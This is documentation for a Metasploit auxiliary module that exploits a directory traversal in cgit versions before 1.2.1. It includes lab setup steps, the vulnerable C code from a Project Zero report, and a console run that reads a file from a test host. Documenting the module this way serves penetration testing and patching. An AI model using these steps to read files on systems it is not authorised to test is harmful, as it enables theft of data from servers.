Cgit Traversal

Description

cgit before v1.2.1 has a directory traversal vulnerabiltiy when cgitrc has the enable-http-clone value set to 1. The directory traversal can be used to download files from the remote host. This module has been tested against cgit v1.1 running on Ubuntu 18.04.

Vulnerable Application

cgit before v1.2.1

Installing cgit on Ubuntu 18.04 x64

1. sudo apt install cgit # dependencies may have to be downloaded first
2. Modify /etc/cgitrc to have enable-http-clone=1. Example attached.
3. Add .htaccess file with rewrite rules to /usr/lib/cgit/. Example attached.
4. Add cgit.conf to /etc/apache2/conf-enabled/. Example attached.
5. Enable rewrite.load and cgi.load in apache2.
6. Create bare repo. mkdir -p repo/test.git && cd repo/test.git && git init --bare

Example files were only used for testing and are not secure or usable in non-testing environments. These WILL make your system insecure, but will enable exploitation by this module.

cgit.conf

cgitrc

.htaccess

Vulnerability Details from Project Zero

There is a directory traversal vulnerability in cgit_clone_objects(), reachable when the configuration flag enable-http-clone is set to 1 (default):

void cgit_clone_objects(void)
{
    if (!ctx.qry.path) {
        cgit_print_error_page(400, "Bad request", "Bad request");
        return;
    }

    if (!strcmp(ctx.qry.path, "info/packs")) {
        print_pack_info();
        return;
    }

    send_file(git_path("objects/%s", ctx.qry.path));
}

send_file() is a function that simply sends the data stored at the given filesystem path out over the network. git_path() partially rewrites the provided path and e.g. prepends the base path of the repository, but it does not sanitize the provided path to prevent directory traversal.

ctx.qry.path can come from querystring_cb(), which takes unescaped data from the querystring.

Options

REPO

Git repository on the remote server. Default is empty, ''.

Verification Steps

1. ./msfconsole -q
2. set rhosts <rhost>
3. set targeturi <uri>
4. set repo <repo>
5. run

Scenarios

Ubuntu 18.04 x64, cgit | 1.1+git2.10.2-3build1

msf > use auxiliary/scanner/http/cgit_traversal
msf auxiliary(scanner/http/cgit_traversal) > set rhosts 172.22.222.123
rhosts => 172.22.222.123
msf auxiliary(scanner/http/cgit_traversal) > set targeturi /mygit/
targeturi => /mygit/
msf auxiliary(scanner/http/cgit_traversal) > set repo test
repo => test
msf auxiliary(scanner/http/cgit_traversal) > set filepath /home/msfdev/proof.txt
filepath => /home/msfdev/proof.txt
msf auxiliary(scanner/http/cgit_traversal) > set verbose true
verbose => true
msf auxiliary(scanner/http/cgit_traversal) > run

[+] 172.22.222.123:80     - 
you found me!

[+] File saved in: /home/msfdev/.msf4/loot/20180813150517_default_172.22.222.123_cgit.traversal_235024.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed